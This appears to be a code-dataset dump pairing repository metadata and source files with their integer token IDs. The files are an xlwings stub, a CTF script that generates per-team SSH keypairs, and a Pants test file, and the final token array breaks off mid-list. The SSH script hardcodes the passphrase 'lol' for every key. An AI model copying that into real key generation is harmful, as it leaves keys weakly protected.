29961,
12719,
29962,
13,
4706,
736,
7700,
13,
13,
1678,
822,
903,
1359,
29898,
1311,
1125,
13,
4706,
2643,
353,
5343,
8262,
29889,
7355,
5709,
3089,
3728,
29898,
1311,
3032,
7328,
29897,
13,
4706,
2643,
29889,
305,
12629,
353,
1051,
29898,
3881,
29898,
29896,
29892,
1583,
29889,
4537,
29918,
974,
29918,
305,
12629,
580,
29974,
29896,
876,
13,
4706,
1583,
3032,
8299,
29889,
6717,
29898,
4906,
29897,
13,
13,
1678,
822,
1353,
29918,
974,
29918,
305,
12629,
29898,
1311,
1125,
13,
4706,
736,
29871,
29955,
13,
13,
1678,
822,
903,
265,
29918,
4906,
29898,
1311,
29892,
2643,
1125,
13,
4706,
565,
338,
8758,
29898,
4906,
29892,
5343,
8262,
29889,
27031,
3125,
5709,
3728,
1125,
13,
9651,
363,
8242,
297,
2643,
29889,
15603,
29901,
13,
18884,
1583,
3032,
275,
29918,
15603,
29961,
12719,
29962,
353,
5852,
13,
9651,
363,
8242,
297,
2643,
29889,
3150,
287,
29901,
13,
18884,
1583,
3032,
275,
29918,
15603,
29961,
12719,
29962,
353,
7700,
13,
9651,
363,
8242,
297,
2643,
29889,
657,
29918,
305,
12629,
7295,
13,
18884,
565,
8242,
297,
1583,
3032,
14035,
29879,
29901,
13,
462,
1678,
363,
6939,
297,
1583,
3032,
14035,
29879,
29961,
12719,
5387,
13,
462,
4706,
6939,
29898,
1311,
3032,
275,
29918,
15603,
29961,
12719,
2314,
13,
13,
1678,
822,
373,
29918,
4882,
29918,
5504,
29898,
1311,
29892,
8242,
29892,
6939,
1125,
13,
4706,
9995,
13,
4706,
8251,
1627,
304,
6222,
373,
4660,
310,
2767,
310,
8242,
13,
4706,
9995,
13,
4706,
565,
451,
8242,
297,
1583,
3032,
14035,
29879,
29901,
13,
9651,
1583,
3032,
14035,
29879,
29961,
12719,
29962,
353,
5159,
13,
4706,
1583,
3032,
14035,
29879,
29961,
12719,
1822,
4397,
29898,
14035,
29897,
13,
13,
1990,
478,
9486,
29955,
1177,
7355,
29898,
9219,
29933,
29953,
1177,
7355,
1125,
13,
1678,
9995,
13,
1678,
12019,
8262,
1881,
3883,
411,
29871,
29955,
18196,
13,
1678,
9995,
13,
1678,
822,
1353,
29918,
974,
29918,
305,
12629,
29898,
1311,
1125,
13,
4706,
736,
29871,
29947,
13,
13,
955,
8262,
29889,
9573,
29918,
5453,
877,
9219,
29933,
29955,
1177,
742,
478,
9486,
29955,
1177,
7355,
29897,
13,
955,
8262,
29889,
9573,
29918,
5453,
877,
9219,
29933,
29953,
1177,
742,
478,
9486,
29953,
1177,
7355,
29897,
13,
2
] |
public/static/console/worksheets/macros/upload_worksheet_data.py | mindthegrow/cannlytics | 7 | 1617621 | """
Upload Worksheet Data | Cannlytics Console
Author: <NAME> <<EMAIL>>
Created: 7/18/2021
Updated: 7/18/2021
License: MIT License <https://opensource.org/licenses/MIT>
"""
import xlwings as xw
def upload_worksheet_data():
"""A function called from Excel to import data by ID
from Firestore into the Excel workbook."""
book = xw.Book.caller()
| [
1,
9995,
13,
17553,
5244,
9855,
3630,
891,
315,
812,
368,
29873,
1199,
9405,
13,
13,
13720,
29901,
529,
5813,
29958,
3532,
26862,
6227,
6778,
13,
20399,
29901,
29871,
29955,
29914,
29896,
29947,
29914,
29906,
29900,
29906,
29896,
13,
29248,
29901,
29871,
29955,
29914,
29896,
29947,
29914,
29906,
29900,
29906,
29896,
13,
29931,
293,
1947,
29901,
341,
1806,
19245,
529,
991,
597,
22156,
1167,
29889,
990,
29914,
506,
11259,
29914,
26349,
29958,
13,
15945,
29908,
13,
5215,
921,
29880,
29893,
886,
408,
921,
29893,
13,
13,
13,
1753,
6441,
29918,
1287,
9855,
29918,
1272,
7295,
13,
1678,
9995,
29909,
740,
2000,
515,
11388,
304,
1053,
848,
491,
3553,
13,
1678,
515,
14152,
22818,
964,
278,
11388,
664,
2909,
1213,
15945,
13,
1678,
3143,
353,
921,
29893,
29889,
10967,
29889,
4804,
261,
580,
13,
13,
2
] |
infrastructure/meta/mk-ssh-keys.py | GovanifY/ctf-re | 0 | 106909 | <reponame>GovanifY/ctf-re
#!/usr/bin/env python3
#
import os
import click
from plumbum import local
import json
import pathlib
SUPPORTED_KEY_TYPES = ["ed25519", "ecdsa", "rsa"]
def write_ssh_key(username: str, out_path: str, key_type: str, debug: bool):
if key_type == "ed25519":
command = f"-t ed25519 -N lol -f {out_path} -C {username}@ctf"
elif key_type == "ecdsa":
command = f"-t ecdsa -b 521 -N lol -f {out_path} -C {username}@ctf"
elif key_type == "rsa":
command = f"-t rsa -b 4096 -N lol -f {out_path} -C {username}@ctf"
else:
click.echo(f"Unsupported key type: {key_type}")
raise click.Abort()
if debug:
click.echo("ssh-keygen " + command)
ssh_keygen = local["ssh-keygen"]
ssh_keygen(command.split())
with open(f"{out_path}.pub") as pubkey:
return pubkey.read()
@click.command()
@click.option('--teams', prompt="Teams JSON path")
@click.option('--out', prompt="Out directory well-structured")
@click.option('--key-type', default="ed25519", type=click.Choice(SUPPORTED_KEY_TYPES))
@click.option('--debug', is_flag=True, default=False)
def cli(teams: str, out: str, key_type: str, debug: bool):
"""
Generate new SSH keypair for a remote service (and copy to clipboard).
"""
username = os.path.expanduser("~").split("/").pop()
ssh_key_path = os.path.expanduser(out)
if os.path.exists(ssh_key_path):
click.echo(f"{ssh_key_path} exists!")
raise click.Abort()
with open(teams, "r") as teams_file:
teams_structure = json.load(teams_file)
for i, team in enumerate(teams_structure['results']):
name = team['name']
path = os.path.join(ssh_key_path, team['name'])
pathlib.Path(path).mkdir(parents=True, exist_ok=True)
write_ssh_key(name, os.path.join(path, f'id_{key_type}'), key_type, debug)
click.echo(f"Public key for {name} saved.")
teams_structure['results'][i]['sshPubKeyPath'] = os.path.join(path, f'id_{key_type}.pub')
with open(teams, "w") as teams_file:
json.dump(teams_structure, teams_file)
cli()
| [
1,
529,
276,
1112,
420,
29958,
29954,
10471,
361,
29979,
29914,
312,
29888,
29899,
276,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
29937,
13,
5215,
2897,
13,
5215,
2828,
13,
3166,
715,
398,
2404,
1053,
1887,
13,
5215,
4390,
13,
5215,
2224,
1982,
13,
13,
29903,
4897,
15082,
3352,
29918,
10818,
29918,
15631,
29925,
2890,
353,
6796,
287,
29906,
29945,
29945,
29896,
29929,
613,
376,
687,
29881,
4977,
613,
376,
2288,
29874,
3108,
13,
13,
13,
1753,
2436,
29918,
15269,
29918,
1989,
29898,
6786,
29901,
851,
29892,
714,
29918,
2084,
29901,
851,
29892,
1820,
29918,
1853,
29901,
851,
29892,
4744,
29901,
6120,
1125,
13,
1678,
565,
1820,
29918,
1853,
1275,
376,
287,
29906,
29945,
29945,
29896,
29929,
1115,
13,
4706,
1899,
353,
285,
29908,
29899,
29873,
1226,
29906,
29945,
29945,
29896,
29929,
448,
29940,
301,
324,
448,
29888,
426,
449,
29918,
2084,
29913,
448,
29907,
426,
6786,
29913,
29992,
312,
29888,
29908,
13,
1678,
25342,
1820,
29918,
1853,
1275,
376,
687,
29881,
4977,
1115,
13,
4706,
1899,
353,
285,
29908,
29899,
29873,
321,
2252,
4977,
448,
29890,
29871,
29945,
29906,
29896,
448,
29940,
301,
324,
448,
29888,
426,
449,
29918,
2084,
29913,
448,
29907,
426,
6786,
29913,
29992,
312,
29888,
29908,
13,
1678,
25342,
1820,
29918,
1853,
1275,
376,
2288,
29874,
1115,
13,
4706,
1899,
353,
285,
29908,
29899,
29873,
364,
4977,
448,
29890,
29871,
29946,
29900,
29929,
29953,
448,
29940,
301,
324,
448,
29888,
426,
449,
29918,
2084,
29913,
448,
29907,
426,
6786,
29913,
29992,
312,
29888,
29908,
13,
1678,
1683,
29901,
13,
4706,
2828,
29889,
8057,
29898,
29888,
29908,
25807,
29884,
3016,
287,
1820,
1134,
29901,
426,
1989,
29918,
1853,
27195,
13,
4706,
12020,
2828,
29889,
4920,
441,
580,
13,
13,
1678,
565,
4744,
29901,
13,
4706,
2828,
29889,
8057,
703,
15269,
29899,
1989,
1885,
376,
718,
1899,
29897,
13,
13,
1678,
13927,
29918,
1989,
1885,
353,
1887,
3366,
15269,
29899,
1989,
1885,
3108,
13,
1678,
13927,
29918,
1989,
1885,
29898,
6519,
29889,
5451,
3101,
13,
13,
1678,
411,
1722,
29898,
29888,
29908,
29912,
449,
29918,
2084,
1836,
5467,
1159,
408,
2529,
1989,
29901,
13,
4706,
736,
2529,
1989,
29889,
949,
580,
13,
13,
29992,
3808,
29889,
6519,
580,
13,
29992,
3808,
29889,
3385,
877,
489,
371,
2232,
742,
9508,
543,
7141,
2232,
4663,
2224,
1159,
13,
29992,
3808,
29889,
3385,
877,
489,
449,
742,
9508,
543,
3744,
3884,
1532,
29899,
4984,
2955,
1159,
13,
29992,
3808,
29889,
3385,
877,
489,
1989,
29899,
1853,
742,
2322,
543,
287,
29906,
29945,
29945,
29896,
29929,
613,
1134,
29922,
3808,
29889,
29620,
29898,
29903,
4897,
15082,
3352,
29918,
10818,
29918,
15631,
29925,
2890,
876,
13,
29992,
3808,
29889,
3385,
877,
489,
8382,
742,
338,
29918,
15581,
29922,
5574,
29892,
2322,
29922,
8824,
29897,
13,
1753,
9335,
29898,
371,
2232,
29901,
851,
29892,
714,
29901,
851,
29892,
1820,
29918,
1853,
29901,
851,
29892,
4744,
29901,
6120,
1125,
13,
1678,
9995,
13,
1678,
3251,
403,
716,
22343,
1820,
18784,
363,
263,
7592,
2669,
313,
392,
3509,
304,
20102,
3377,
467,
13,
1678,
9995,
13,
1678,
8952,
353,
2897,
29889,
2084,
29889,
18837,
1792,
703,
30022,
2564,
5451,
11974,
2564,
7323,
580,
13,
1678,
13927,
29918,
1989,
29918,
2084,
353,
2897,
29889,
2084,
29889,
18837,
1792,
29898,
449,
29897,
13,
13,
1678,
565,
2897,
29889,
2084,
29889,
9933,
29898,
15269,
29918,
1989,
29918,
2084,
1125,
13,
4706,
2828,
29889,
8057,
29898,
29888,
29908,
29912,
15269,
29918,
1989,
29918,
2084,
29913,
4864,
29991,
1159,
13,
4706,
12020,
2828,
29889,
4920,
441,
580,
13,
13,
1678,
411,
1722,
29898,
371,
2232,
29892,
376,
29878,
1159,
408,
10907,
29918,
1445,
29901,
13,
4706,
10907,
29918,
23905,
353,
4390,
29889,
1359,
29898,
371,
2232,
29918,
1445,
29897,
13,
13,
1678,
363,
474,
29892,
3815,
297,
26985,
29898,
371,
2232,
29918,
23905,
1839,
9902,
2033,
1125,
13,
4706,
1024,
353,
3815,
1839,
978,
2033,
13,
4706,
2224,
353,
2897,
29889,
2084,
29889,
7122,
29898,
15269,
29918,
1989,
29918,
2084,
29892,
3815,
1839,
978,
11287,
13,
4706,
2224,
1982,
29889,
2605,
29898,
2084,
467,
11256,
3972,
29898,
862,
1237,
29922,
5574,
29892,
1863,
29918,
554,
29922,
5574,
29897,
13,
4706,
2436,
29918,
15269,
29918,
1989,
29898,
978,
29892,
2897,
29889,
2084,
29889,
7122,
29898,
2084,
29892,
285,
29915,
333,
648,
1989,
29918,
1853,
29913,
5477,
1820,
29918,
1853,
29892,
4744,
29897,
13,
4706,
2828,
29889,
8057,
29898,
29888,
29908,
19858,
1820,
363,
426,
978,
29913,
7160,
23157,
13,
4706,
10907,
29918,
23905,
1839,
9902,
2033,
29961,
29875,
22322,
15269,
21076,
2558,
2605,
2033,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2084,
29892,
285,
29915,
333,
648,
1989,
29918,
1853,
1836,
5467,
1495,
13,
13,
1678,
411,
1722,
29898,
371,
2232,
29892,
376,
29893,
1159,
408,
10907,
29918,
1445,
29901,
13,
4706,
4390,
29889,
15070,
29898,
371,
2232,
29918,
23905,
29892,
10907,
29918,
1445,
29897,
13,
13,
11303,
580,
13,
2
] |
src/python/pants/core/goals/check_test.py | yoav-orca/pants | 1,806 | 884 | <reponame>yoav-orca/pants
# Copyright 2020 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from abc import ABCMeta, abstractmethod
from pathlib import Path
from textwrap import dedent
from typing import ClassVar, Iterable, List, Optional, Tuple, Type
from pants.core.goals.check import Check, CheckRequest, CheckResult, CheckResults, check
from pants.core.util_rules.distdir import DistDir
from pants.engine.addresses import Address
from pants.engine.fs import Workspace
from pants.engine.target import FieldSet, MultipleSourcesField, Target, Targets
from pants.engine.unions import UnionMembership
from pants.testutil.option_util import create_options_bootstrapper
from pants.testutil.rule_runner import MockGet, RuleRunner, mock_console, run_rule_with_mocks
from pants.util.logging import LogLevel
class MockTarget(Target):
alias = "mock_target"
core_fields = (MultipleSourcesField,)
class MockCheckFieldSet(FieldSet):
required_fields = (MultipleSourcesField,)
class MockCheckRequest(CheckRequest, metaclass=ABCMeta):
field_set_type = MockCheckFieldSet
checker_name: ClassVar[str]
@staticmethod
@abstractmethod
def exit_code(_: Iterable[Address]) -> int:
pass
@property
def check_results(self) -> CheckResults:
addresses = [config.address for config in self.field_sets]
return CheckResults(
[
CheckResult(
self.exit_code(addresses),
"",
"",
)
],
checker_name=self.checker_name,
)
class SuccessfulRequest(MockCheckRequest):
checker_name = "SuccessfulChecker"
@staticmethod
def exit_code(_: Iterable[Address]) -> int:
return 0
class FailingRequest(MockCheckRequest):
checker_name = "FailingChecker"
@staticmethod
def exit_code(_: Iterable[Address]) -> int:
return 1
class ConditionallySucceedsRequest(MockCheckRequest):
checker_name = "ConditionallySucceedsChecker"
@staticmethod
def exit_code(addresses: Iterable[Address]) -> int:
if any(address.target_name == "bad" for address in addresses):
return 127
return 0
class SkippedRequest(MockCheckRequest):
@staticmethod
def exit_code(_) -> int:
return 0
@property
def check_results(self) -> CheckResults:
return CheckResults([], checker_name="SkippedChecker")
class InvalidField(MultipleSourcesField):
pass
class InvalidFieldSet(MockCheckFieldSet):
required_fields = (InvalidField,)
class InvalidRequest(MockCheckRequest):
field_set_type = InvalidFieldSet
checker_name = "InvalidChecker"
@staticmethod
def exit_code(_: Iterable[Address]) -> int:
return -1
def make_target(address: Optional[Address] = None) -> Target:
if address is None:
address = Address("", target_name="tests")
return MockTarget({}, address)
def run_typecheck_rule(
*, request_types: List[Type[CheckRequest]], targets: List[Target]
) -> Tuple[int, str]:
union_membership = UnionMembership({CheckRequest: request_types})
with mock_console(create_options_bootstrapper()) as (console, stdio_reader):
rule_runner = RuleRunner()
result: Check = run_rule_with_mocks(
check,
rule_args=[
console,
Workspace(rule_runner.scheduler, _enforce_effects=False),
Targets(targets),
DistDir(relpath=Path("dist")),
union_membership,
],
mock_gets=[
MockGet(
output_type=CheckResults,
input_type=CheckRequest,
mock=lambda field_set_collection: field_set_collection.check_results,
),
],
union_membership=union_membership,
)
assert not stdio_reader.get_stdout()
return result.exit_code, stdio_reader.get_stderr()
def test_invalid_target_noops() -> None:
exit_code, stderr = run_typecheck_rule(request_types=[InvalidRequest], targets=[make_target()])
assert exit_code == 0
assert stderr == ""
def test_summary() -> None:
good_address = Address("", target_name="good")
bad_address = Address("", target_name="bad")
exit_code, stderr = run_typecheck_rule(
request_types=[
ConditionallySucceedsRequest,
FailingRequest,
SkippedRequest,
SuccessfulRequest,
],
targets=[make_target(good_address), make_target(bad_address)],
)
assert exit_code == FailingRequest.exit_code([bad_address])
assert stderr == dedent(
"""\
𐄂 ConditionallySucceedsChecker failed.
𐄂 FailingChecker failed.
- SkippedChecker skipped.
✓ SuccessfulChecker succeeded.
"""
)
def test_streaming_output_skip() -> None:
results = CheckResults([], checker_name="typechecker")
assert results.level() == LogLevel.DEBUG
assert results.message() == "typechecker skipped."
def test_streaming_output_success() -> None:
results = CheckResults([CheckResult(0, "stdout", "stderr")], checker_name="typechecker")
assert results.level() == LogLevel.INFO
assert results.message() == dedent(
"""\
typechecker succeeded.
stdout
stderr
"""
)
def test_streaming_output_failure() -> None:
results = CheckResults([CheckResult(18, "stdout", "stderr")], checker_name="typechecker")
assert results.level() == LogLevel.ERROR
assert results.message() == dedent(
"""\
typechecker failed (exit code 18).
stdout
stderr
"""
)
def test_streaming_output_partitions() -> None:
results = CheckResults(
[
CheckResult(21, "", "", partition_description="ghc8.1"),
CheckResult(0, "stdout", "stderr", partition_description="ghc9.2"),
],
checker_name="typechecker",
)
assert results.level() == LogLevel.ERROR
assert results.message() == dedent(
"""\
typechecker failed (exit code 21).
Partition #1 - ghc8.1:
Partition #2 - ghc9.2:
stdout
stderr
"""
)
| [
1,
529,
276,
1112,
420,
29958,
9029,
485,
29899,
272,
1113,
29914,
29886,
1934,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29906,
29900,
349,
1934,
2060,
17737,
29560,
313,
4149,
8707,
29911,
3960,
29933,
2692,
24125,
29889,
3487,
467,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
4149,
365,
2965,
1430,
1660,
467,
13,
13,
3166,
25638,
1053,
16417,
19346,
29892,
9846,
5696,
13,
3166,
2224,
1982,
1053,
10802,
13,
3166,
1426,
6312,
1053,
28262,
296,
13,
3166,
19229,
1053,
4134,
9037,
29892,
20504,
519,
29892,
2391,
29892,
28379,
29892,
12603,
552,
29892,
5167,
13,
13,
3166,
282,
1934,
29889,
3221,
29889,
1484,
1338,
29889,
3198,
1053,
5399,
29892,
5399,
3089,
29892,
5399,
3591,
29892,
5399,
12191,
29892,
1423,
13,
3166,
282,
1934,
29889,
3221,
29889,
4422,
29918,
19238,
29889,
5721,
3972,
1053,
6652,
9170,
13,
3166,
282,
1934,
29889,
10599,
29889,
7328,
267,
1053,
16428,
13,
3166,
282,
1934,
29889,
10599,
29889,
5847,
1053,
5244,
3493,
13,
3166,
282,
1934,
29889,
10599,
29889,
5182,
1053,
8989,
2697,
29892,
26905,
29903,
2863,
3073,
29892,
17157,
29892,
17157,
29879,
13,
3166,
282,
1934,
29889,
10599,
29889,
348,
1080,
1053,
7761,
29924,
1590,
10475,
13,
3166,
282,
1934,
29889,
1688,
4422,
29889,
3385,
29918,
4422,
1053,
1653,
29918,
6768,
29918,
4777,
4151,
2496,
13,
3166,
282,
1934,
29889,
1688,
4422,
29889,
7491,
29918,
27492,
1053,
26297,
2577,
29892,
27308,
16802,
29892,
11187,
29918,
11058,
29892,
1065,
29918,
7491,
29918,
2541,
29918,
17640,
29879,
13,
3166,
282,
1934,
29889,
4422,
29889,
21027,
1053,
4522,
10108,
13,
13,
13,
1990,
26297,
8667,
29898,
8667,
1125,
13,
1678,
13995,
353,
376,
17640,
29918,
5182,
29908,
13,
1678,
7136,
29918,
9621,
353,
313,
15329,
552,
29903,
2863,
3073,
29892,
29897,
13,
13,
13,
1990,
26297,
5596,
3073,
2697,
29898,
3073,
2697,
1125,
13,
1678,
3734,
29918,
9621,
353,
313,
15329,
552,
29903,
2863,
3073,
29892,
29897,
13,
13,
13,
1990,
26297,
5596,
3089,
29898,
5596,
3089,
29892,
1539,
562,
605,
29922,
19658,
19346,
1125,
13,
1678,
1746,
29918,
842,
29918,
1853,
353,
26297,
5596,
3073,
2697,
13,
1678,
1423,
261,
29918,
978,
29901,
4134,
9037,
29961,
710,
29962,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
732,
16595,
5696,
13,
1678,
822,
6876,
29918,
401,
7373,
29901,
20504,
519,
29961,
7061,
2314,
1599,
938,
29901,
13,
4706,
1209,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1423,
29918,
9902,
29898,
1311,
29897,
1599,
5399,
12191,
29901,
13,
4706,
14157,
353,
518,
2917,
29889,
7328,
363,
2295,
297,
1583,
29889,
2671,
29918,
7224,
29962,
13,
4706,
736,
5399,
12191,
29898,
13,
9651,
518,
13,
18884,
5399,
3591,
29898,
13,
462,
1678,
1583,
29889,
13322,
29918,
401,
29898,
7328,
267,
511,
13,
462,
1678,
12633,
13,
462,
1678,
12633,
13,
18884,
1723,
13,
9651,
21251,
13,
9651,
1423,
261,
29918,
978,
29922,
1311,
29889,
3198,
261,
29918,
978,
29892,
13,
4706,
1723,
13,
13,
13,
1990,
21397,
1319,
3089,
29898,
18680,
5596,
3089,
1125,
13,
1678,
1423,
261,
29918,
978,
353,
376,
14191,
1319,
5596,
261,
29908,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
6876,
29918,
401,
7373,
29901,
20504,
519,
29961,
7061,
2314,
1599,
938,
29901,
13,
4706,
736,
29871,
29900,
13,
13,
13,
1990,
29098,
292,
3089,
29898,
18680,
5596,
3089,
1125,
13,
1678,
1423,
261,
29918,
978,
353,
376,
16243,
292,
5596,
261,
29908,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
6876,
29918,
401,
7373,
29901,
20504,
519,
29961,
7061,
2314,
1599,
938,
29901,
13,
4706,
736,
29871,
29896,
13,
13,
13,
1990,
11790,
17658,
29903,
1682,
3947,
29879,
3089,
29898,
18680,
5596,
3089,
1125,
13,
1678,
1423,
261,
29918,
978,
353,
376,
10983,
17658,
29903,
1682,
3947,
29879,
5596,
261,
29908,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
6876,
29918,
401,
29898,
7328,
267,
29901,
20504,
519,
29961,
7061,
2314,
1599,
938,
29901,
13,
4706,
565,
738,
29898,
7328,
29889,
5182,
29918,
978,
1275,
376,
12313,
29908,
363,
3211,
297,
14157,
1125,
13,
9651,
736,
29871,
29896,
29906,
29955,
13,
4706,
736,
29871,
29900,
13,
13,
13,
1990,
28551,
2986,
3089,
29898,
18680,
5596,
3089,
1125,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
6876,
29918,
401,
7373,
29897,
1599,
938,
29901,
13,
4706,
736,
29871,
29900,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1423,
29918,
9902,
29898,
1311,
29897,
1599,
5399,
12191,
29901,
13,
4706,
736,
5399,
12191,
4197,
1402,
1423,
261,
29918,
978,
543,
29903,
1984,
2986,
5596,
261,
1159,
13,
13,
13,
1990,
21403,
3073,
29898,
15329,
552,
29903,
2863,
3073,
1125,
13,
1678,
1209,
13,
13,
13,
1990,
21403,
3073,
2697,
29898,
18680,
5596,
3073,
2697,
1125,
13,
1678,
3734,
29918,
9621,
353,
313,
13919,
3073,
29892,
29897,
13,
13,
13,
1990,
21403,
3089,
29898,
18680,
5596,
3089,
1125,
13,
1678,
1746,
29918,
842,
29918,
1853,
353,
21403,
3073,
2697,
13,
1678,
1423,
261,
29918,
978,
353,
376,
13919,
5596,
261,
29908,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
6876,
29918,
401,
7373,
29901,
20504,
519,
29961,
7061,
2314,
1599,
938,
29901,
13,
4706,
736,
448,
29896,
13,
13,
13,
1753,
1207,
29918,
5182,
29898,
7328,
29901,
28379,
29961,
7061,
29962,
353,
6213,
29897,
1599,
17157,
29901,
13,
1678,
565,
3211,
338,
6213,
29901,
13,
4706,
3211,
353,
16428,
703,
613,
3646,
29918,
978,
543,
21150,
1159,
13,
1678,
736,
26297,
8667,
3319,
1118,
3211,
29897,
13,
13,
13,
1753,
1065,
29918,
1853,
3198,
29918,
7491,
29898,
13,
1678,
334,
29892,
2009,
29918,
8768,
29901,
2391,
29961,
1542,
29961,
5596,
3089,
20526,
22525,
29901,
2391,
29961,
8667,
29962,
13,
29897,
1599,
12603,
552,
29961,
524,
29892,
851,
5387,
13,
1678,
9833,
29918,
29885,
1590,
10475,
353,
7761,
29924,
1590,
10475,
3319,
5596,
3089,
29901,
2009,
29918,
8768,
1800,
13,
1678,
411,
11187,
29918,
11058,
29898,
3258,
29918,
6768,
29918,
4777,
4151,
2496,
3101,
408,
313,
11058,
29892,
3659,
601,
29918,
16950,
1125,
13,
4706,
5751,
29918,
27492,
353,
27308,
16802,
580,
13,
4706,
1121,
29901,
5399,
353,
1065,
29918,
7491,
29918,
2541,
29918,
17640,
29879,
29898,
13,
9651,
1423,
29892,
13,
9651,
5751,
29918,
5085,
11759,
13,
18884,
2991,
29892,
13,
18884,
5244,
3493,
29898,
7491,
29918,
27492,
29889,
816,
14952,
29892,
903,
264,
10118,
29918,
15987,
29879,
29922,
8824,
511,
13,
18884,
17157,
29879,
29898,
5182,
29879,
511,
13,
18884,
6652,
9170,
29898,
2674,
2084,
29922,
2605,
703,
5721,
1159,
511,
13,
18884,
9833,
29918,
29885,
1590,
10475,
29892,
13,
9651,
21251,
13,
9651,
11187,
29918,
20078,
11759,
13,
18884,
26297,
2577,
29898,
13,
462,
1678,
1962,
29918,
1853,
29922,
5596,
12191,
29892,
13,
462,
1678,
1881,
29918,
1853,
29922,
5596,
3089,
29892,
13,
462,
1678,
11187,
29922,
2892,
1746,
29918,
842,
29918,
10855,
29901,
1746,
29918,
842,
29918,
10855,
29889,
3198,
29918,
9902,
29892,
13,
18884,
10353,
13,
9651,
21251,
13,
9651,
9833,
29918,
29885,
1590,
10475,
29922,
13094,
29918,
29885,
1590,
10475,
29892,
13,
4706,
1723,
13,
4706,
4974,
451,
3659,
601,
29918,
16950,
29889,
657,
29918,
25393,
580,
13,
4706,
736,
1121,
29889,
13322,
29918,
401,
29892,
3659,
601,
29918,
16950,
29889,
657,
29918,
303,
20405,
580,
13,
13,
13,
1753,
1243,
29918,
20965,
29918,
5182,
29918,
1217,
3554,
580,
1599,
6213,
29901,
13,
1678,
6876,
29918,
401,
29892,
380,
20405,
353,
1065,
29918,
1853,
3198,
29918,
7491,
29898,
3827,
29918,
8768,
11759,
13919,
3089,
1402,
22525,
11759,
5675,
29918,
5182,
580,
2314,
13,
1678,
4974,
6876,
29918,
401,
1275,
29871,
29900,
13,
1678,
4974,
380,
20405,
1275,
5124,
13,
13,
13,
1753,
1243,
29918,
7727,
580,
1599,
6213,
29901,
13,
1678,
1781,
29918,
7328,
353,
16428,
703,
613,
3646,
29918,
978,
543,
16773,
1159,
13,
1678,
4319,
29918,
7328,
353,
16428,
703,
613,
3646,
29918,
978,
543,
12313,
1159,
13,
1678,
6876,
29918,
401,
29892,
380,
20405,
353,
1065,
29918,
1853,
3198,
29918,
7491,
29898,
13,
4706,
2009,
29918,
8768,
11759,
13,
9651,
11790,
17658,
29903,
1682,
3947,
29879,
3089,
29892,
13,
9651,
29098,
292,
3089,
29892,
13,
9651,
28551,
2986,
3089,
29892,
13,
9651,
21397,
1319,
3089,
29892,
13,
4706,
21251,
13,
4706,
22525,
11759,
5675,
29918,
5182,
29898,
16773,
29918,
7328,
511,
1207,
29918,
5182,
29898,
12313,
29918,
7328,
29897,
1402,
13,
1678,
1723,
13,
1678,
4974,
6876,
29918,
401,
1275,
29098,
292,
3089,
29889,
13322,
29918,
401,
4197,
12313,
29918,
7328,
2314,
13,
1678,
4974,
380,
20405,
1275,
28262,
296,
29898,
13,
4706,
9995,
29905,
13,
13,
308,
243,
147,
135,
133,
11790,
17658,
29903,
1682,
3947,
29879,
5596,
261,
5229,
29889,
13,
308,
243,
147,
135,
133,
29098,
292,
5596,
261,
5229,
29889,
13,
4706,
448,
28551,
2986,
5596,
261,
14993,
2986,
29889,
13,
308,
30706,
21397,
1319,
5596,
261,
14792,
29889,
13,
4706,
9995,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
5461,
292,
29918,
4905,
29918,
11014,
580,
1599,
6213,
29901,
13,
1678,
2582,
353,
5399,
12191,
4197,
1402,
1423,
261,
29918,
978,
543,
1853,
3198,
261,
1159,
13,
1678,
4974,
2582,
29889,
5563,
580,
1275,
4522,
10108,
29889,
18525,
13,
1678,
4974,
2582,
29889,
4906,
580,
1275,
376,
1853,
3198,
261,
14993,
2986,
1213,
13,
13,
13,
1753,
1243,
29918,
5461,
292,
29918,
4905,
29918,
8698,
580,
1599,
6213,
29901,
13,
1678,
2582,
353,
5399,
12191,
4197,
5596,
3591,
29898,
29900,
29892,
376,
25393,
613,
376,
303,
20405,
1159,
1402,
1423,
261,
29918,
978,
543,
1853,
3198,
261,
1159,
13,
1678,
4974,
2582,
29889,
5563,
580,
1275,
4522,
10108,
29889,
11690,
13,
1678,
4974,
2582,
29889,
4906,
580,
1275,
28262,
296,
29898,
13,
4706,
9995,
29905,
13,
4706,
1134,
3198,
261,
14792,
29889,
13,
4706,
27591,
13,
4706,
380,
20405,
13,
13,
4706,
9995,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
5461,
292,
29918,
4905,
29918,
14057,
545,
580,
1599,
6213,
29901,
13,
1678,
2582,
353,
5399,
12191,
4197,
5596,
3591,
29898,
29896,
29947,
29892,
376,
25393,
613,
376,
303,
20405,
1159,
1402,
1423,
261,
29918,
978,
543,
1853,
3198,
261,
1159,
13,
1678,
4974,
2582,
29889,
5563,
580,
1275,
4522,
10108,
29889,
11432,
13,
1678,
4974,
2582,
29889,
4906,
580,
1275,
28262,
296,
29898,
13,
4706,
9995,
29905,
13,
4706,
1134,
3198,
261,
5229,
313,
13322,
775,
29871,
29896,
29947,
467,
13,
4706,
27591,
13,
4706,
380,
20405,
13,
13,
4706,
9995,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
5461,
292,
29918,
4905,
29918,
1595,
2187,
580,
1599,
6213,
29901,
13,
1678,
2582,
353,
5399,
12191,
29898,
13,
4706,
518,
13,
9651,
5399,
3591,
29898,
29906,
29896,
29892,
12633,
12633,
8877,
29918,
8216,
543,
12443,
29883,
29947,
29889,
29896,
4968,
13,
9651,
5399,
3591,
29898,
29900,
29892,
376,
25393,
613,
376,
303,
20405,
613,
8877,
29918,
8216,
543,
12443,
29883,
29929,
29889,
29906,
4968,
13,
4706,
21251,
13,
4706,
1423,
261,
29918,
978,
543,
1853,
3198,
261,
613,
13,
1678,
1723,
13,
1678,
4974,
2582,
29889,
5563,
